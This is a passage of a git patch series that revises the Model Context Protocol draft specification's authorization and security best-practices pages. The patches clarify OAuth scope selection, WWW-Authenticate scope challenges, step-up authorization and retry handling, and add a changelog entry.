+Servers **SHOULD** consider the user experience impact when determining which scopes to include in the
+response, as misconfigured scopes may require frequent user interaction.
Example insufficient scope response:
@@ -390,7 +398,7 @@ The flow is as follows:
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid
-repeated failures for the same resource and operation combination. The cache should track failed
+repeated failures for the same resource and operation combination. The cache **SHOULD** track failed
authorization attempts by resource and the scopes that were denied, preventing clients from
repeatedly requesting the same permissions that were previously denied and avoiding unnecessary
authorization server requests for known-failing scenarios.
From 1b340d78cd55e8ab68b5f1558b044d11fbf418dc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 17:43:01 -0700
Subject: [PATCH 46/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index bd2f2773b..41331f2d4 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -97,6 +97,13 @@ to indicate the scopes required for accessing the resource. This provides client
guidance on the appropriate scopes to request during authorization,
following the principle of least privilege and preventing clients from requesting excessive permissions.
+The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset
+or superset of it, or an alternative collection that is neither a strict subset nor
+superset. Clients **MUST NOT** assume any particular set relationship between the challenged
+scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the
+challenge as authoritative for satisfying the current request. Servers **SHOULD** strive for consistency in how they construct scope sets but they are not required to surface every dynamically
+issued scope through `scopes_supported`.
+
Example 401 response with scope guidance:
```http
From fbcbebc8e1976d93de93a74be22fb818b8573405 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 17:43:28 -0700
Subject: [PATCH 47/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 41331f2d4..77958576b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -101,7 +101,8 @@ The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_su
or superset of it, or an alternative collection that is neither a strict subset nor
superset. Clients **MUST NOT** assume any particular set relationship between the challenged
scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the
-challenge as authoritative for satisfying the current request. Servers **SHOULD** strive for consistency in how they construct scope sets but they are not required to surface every dynamically
+challenge as authoritative for satisfying the current request. Servers **SHOULD** strive for
+consistency in how they construct scope sets but they are not required to surface every dynamically
issued scope through `scopes_supported`.
Example 401 response with scope guidance:
From b1351c7d80471703d1f1164610d745ffe381b473 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 17:59:54 -0700
Subject: [PATCH 48/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 77958576b..454e777ff 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -115,8 +115,7 @@ WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/
MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
-If no `scope` parameter is provided in the `WWW-Authenticate` header, clients **SHOULD** fall back to requesting all
-scopes listed in `scopes_supported` from the Protected Resource Metadata document.
+If the `scope` parameter is absent, clients **SHOULD** apply the fallback behavior defined in the [Scope Selection Strategy](#scope-selection-strategy) section.
#### Server Metadata Discovery
From a635246a207cf63f5c8c75e17513df0595568e8c Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 18:00:28 -0700
Subject: [PATCH 49/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Simon Russell
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 454e777ff..caa844219 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -198,7 +198,7 @@ only the scopes necessary for their intended operations. During the initial auth
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document
-When no `scope` parameter is provided in the `WWW-Authenticate` header, clients **SHOULD** request all scopes from `scopes_supported`. This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
+This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
From a1bf2ec71f6e987509b094280715608e635ad41e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 18 Sep 2025 18:06:28 -0700
Subject: [PATCH 50/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 7 ++-----
1 file changed, 2 insertions(+), 5 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 454e777ff..e93e5bc7b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -404,11 +404,8 @@ The flow is as follows:
3. **Initiate (re-)authorization** with the determined scope set
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
-Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid
-repeated failures for the same resource and operation combination. The cache **SHOULD** track failed
-authorization attempts by resource and the scopes that were denied, preventing clients from
-repeatedly requesting the same permissions that were previously denied and avoiding unnecessary
-authorization server requests for known-failing scenarios.
+Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid
+repeated failures for the same resource and operation combination.
## Security Considerations
From f05265848071d17445e666767ff592b70b9208db Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Mon, 22 Sep 2025 09:57:12 -0700
Subject: [PATCH 51/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Nate Barbettini
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 9d75ef19c..f2c7e47da 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -396,7 +396,7 @@ scope during runtime operations, the server **SHOULD** respond with:
**SHOULD** include the scopes needed to satisfy the current request in the `scope`
parameter. Servers have flexibility in determining which scopes to include:
-- **Minimum approach**: Include only the newly required scopes for the specific operation
+- **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required prevent clients from losing previously granted permissions.
- **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions
- **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together
From 799e9bb77676d4750af78692a90f1f0cc3be10d6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 22 Sep 2025 23:44:52 -0700
Subject: [PATCH 52/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 8 +++-----
1 file changed, 3 insertions(+), 5 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index f2c7e47da..b2bddeb24 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -234,7 +234,7 @@ This approach minimizes user friction while following the principle of least pri
The `scopes_supported` field is intended to represent the minimal set of scopes necessary
for basic functionality (see [Scope Minimization](/specification/draft/basic/security_best_practices#scope-minimization)),
with additional scopes requested incrementally through the step-up authorization flow steps
-described in the [Scope Error Handling](#scope-error-handling) section.
+described in the [Scope Challenge Handling](#scope-challenge-handling) section.
### Authorization Flow Steps
@@ -373,7 +373,7 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
| 403 | Forbidden | Invalid scopes or insufficient permissions |
| 400 | Bad Request | Malformed authorization request |
-#### Scope Error Handling
+#### Scope Challenge Handling
This section covers handling insufficient scope errors during runtime operations when
a client already has a token but needs additional permissions. This follows the error
@@ -426,9 +426,7 @@ Clients acting on behalf of a user **SHOULD** attempt the step-up authorization
The flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
-2. **Determine required scopes** using the following algorithm:
- - If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes exactly as specified (trusting the server to include any necessary existing scopes along with newly required scopes)
- - If `scope` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
+2. **Determine required scopes** as outlined in [Scope Selection Strategy](#scope-selection-strategy).
3. **Initiate (re-)authorization** with the determined scope set
4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
From c4340c3b18def9ba9c7dcd5fff9cbbf031e08705 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 22 Sep 2025 23:46:28 -0700
Subject: [PATCH 53/61] Update security_best_practices.mdx
---
docs/specification/draft/basic/security_best_practices.mdx | 2 --
1 file changed, 2 deletions(-)
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index bb031d5a7..4ab6d2e26 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -324,8 +324,6 @@ Client guidance:
- Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`)
- Cache recent failures to avoid repeated elevation loops for denied scopes
-- Present human-readable rationale: "Need files:write to save changes."
-- Offer user option to decline individual optional scopes when multiple are suggested together
#### Common Mistakes
From b54cbe047369cbaffca88038cfb75d972fbc2384 Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Tue, 23 Sep 2025 09:31:15 -0700
Subject: [PATCH 54/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Paul Carleton
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index b2bddeb24..4c63c2b7f 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -224,7 +224,7 @@ only the scopes necessary for their intended operations. During the initial auth
**SHOULD** follow this priority order for scope selection:
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
-2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document
+2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined.
This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
From f35c2f6a1b6d827c4d2b5558c204162fc83ab7b1 Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Tue, 23 Sep 2025 10:49:56 -0700
Subject: [PATCH 55/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Tyler James Leonhardt <2644648+TylerLeonhardt@users.noreply.github.com>
---
docs/specification/draft/basic/authorization.mdx | 1 -
1 file changed, 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 4c63c2b7f..272441c13 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -128,7 +128,6 @@ If the `scope` parameter is absent, clients **SHOULD** apply the fallback behavi
#### Authorization Server Metadata Discovery
-
To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata.
The discovery approach is based on [RFC8414 Section 3.1 "Authorization Server Metadata Request"](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1) for OAuth 2.0 Authorization Server Metadata discovery and [RFC8414 Section 5 "Compatibility Notes"](https://datatracker.ietf.org/doc/html/rfc8414#section-5) for OpenID Connect Discovery 1.0 interoperability.
From 9be279d3db1b3306be62f4cb8e92af2164dfd060 Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Fri, 26 Sep 2025 18:10:17 -0700
Subject: [PATCH 56/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: David Soria Parra <167242713+dsp-ant@users.noreply.github.com>
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 272441c13..6a81cad63 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -418,7 +418,7 @@ WWW-Authenticate: Bearer error="insufficient_scope",
##### Step-Up Authorization Flow
Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`).
-Clients may respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow.
+Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways.
Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients)
**MAY** attempt the step-up authorization flow or abort the request immediately.
From af91118d75bea90aa6bd59911662b78258b9d7b5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Fri, 26 Sep 2025 18:18:28 -0700
Subject: [PATCH 57/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 272441c13..af3475f47 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -227,8 +227,6 @@ only the scopes necessary for their intended operations. During the initial auth
This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process.
-Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
-
This approach minimizes user friction while following the principle of least privilege.
The `scopes_supported` field is intended to represent the minimal set of scopes necessary
for basic functionality (see [Scope Minimization](/specification/draft/basic/security_best_practices#scope-minimization)),
@@ -400,6 +398,7 @@ parameter. Servers have flexibility in determining which scopes to include:
- **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together
The choice depends on the server's assessment of user experience impact and authorization friction.
+
Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients.
Servers **SHOULD** consider the user experience impact when determining which scopes to include in the
From ff451d93be25f9d7385c74db3a2209e5599d3ce3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Fri, 26 Sep 2025 18:23:57 -0700
Subject: [PATCH 58/61] Fix CI
---
docs/specification/draft/basic/authorization.mdx | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 6e7a7dfd8..881403488 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -391,7 +391,9 @@ scope during runtime operations, the server **SHOULD** respond with:
**Server Scope Management**: When responding with insufficient scope errors, servers
**SHOULD** include the scopes needed to satisfy the current request in the `scope`
-parameter. Servers have flexibility in determining which scopes to include:
+parameter.
+
+Servers have flexibility in determining which scopes to include:
- **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required prevent clients from losing previously granted permissions.
- **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions
From f87f59cc3ea65651c971dde8844a057433293417 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Fri, 26 Sep 2025 18:25:30 -0700
Subject: [PATCH 59/61] Update changelog.mdx
---
docs/specification/draft/changelog.mdx | 2 ++
1 file changed, 2 insertions(+)
diff --git a/docs/specification/draft/changelog.mdx b/docs/specification/draft/changelog.mdx
index 53e244e37..7da3df54c 100644
--- a/docs/specification/draft/changelog.mdx
+++ b/docs/specification/draft/changelog.mdx
@@ -11,10 +11,12 @@ the previous revision, [2025-06-18](/specification/2025-06-18).
1. Enhance authorization server discovery with support for [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html). (PR [#797](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/797))
2. Allow servers to expose icons as additional metadata for tools, resources and prompts ([SEP-973](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/973)).
+3. Enhance authorization flows with incremental scope consent via `WWW-Authenticate` ([SEP-835](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/835))
## Minor changes
1. Clarify that servers must respond with HTTP 403 Forbidden for invalid Origin headers in Streamable HTTP transport. (PR [#1439](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1439))
+2. Updated the [Security Best Practices guidance](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices).
## Other schema changes
From 2c966142a0204061d39f9c92b0fb796ae4b6ccfd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Fri, 26 Sep 2025 18:35:15 -0700
Subject: [PATCH 60/61] Update security_best_practices.mdx
---
docs/specification/draft/basic/security_best_practices.mdx | 1 -
1 file changed, 1 deletion(-)
diff --git a/docs/specification/draft/basic/security_best_practices.mdx b/docs/specification/draft/basic/security_best_practices.mdx
index b65baf597..4ab6d2e26 100644
--- a/docs/specification/draft/basic/security_best_practices.mdx
+++ b/docs/specification/draft/basic/security_best_practices.mdx
@@ -335,4 +335,3 @@ Client guidance:
- Treating claimed scopes in token as sufficient without server-side authorization logic
Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn.
-
From 62287d545bb21610fc32ed801fc9cd51f67aeaa2 Mon Sep 17 00:00:00 2001
From: Den Delimarsky <53200638+localden@users.noreply.github.com>
Date: Wed, 1 Oct 2025 12:27:58 -0700
Subject: [PATCH 61/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: ChipGPT
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 881403488..73eb74080 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -395,7 +395,7 @@ parameter.
Servers have flexibility in determining which scopes to include:
-- **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required prevent clients from losing previously granted permissions.
+- **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required, to prevent clients from losing previously granted permissions.
- **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions
- **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together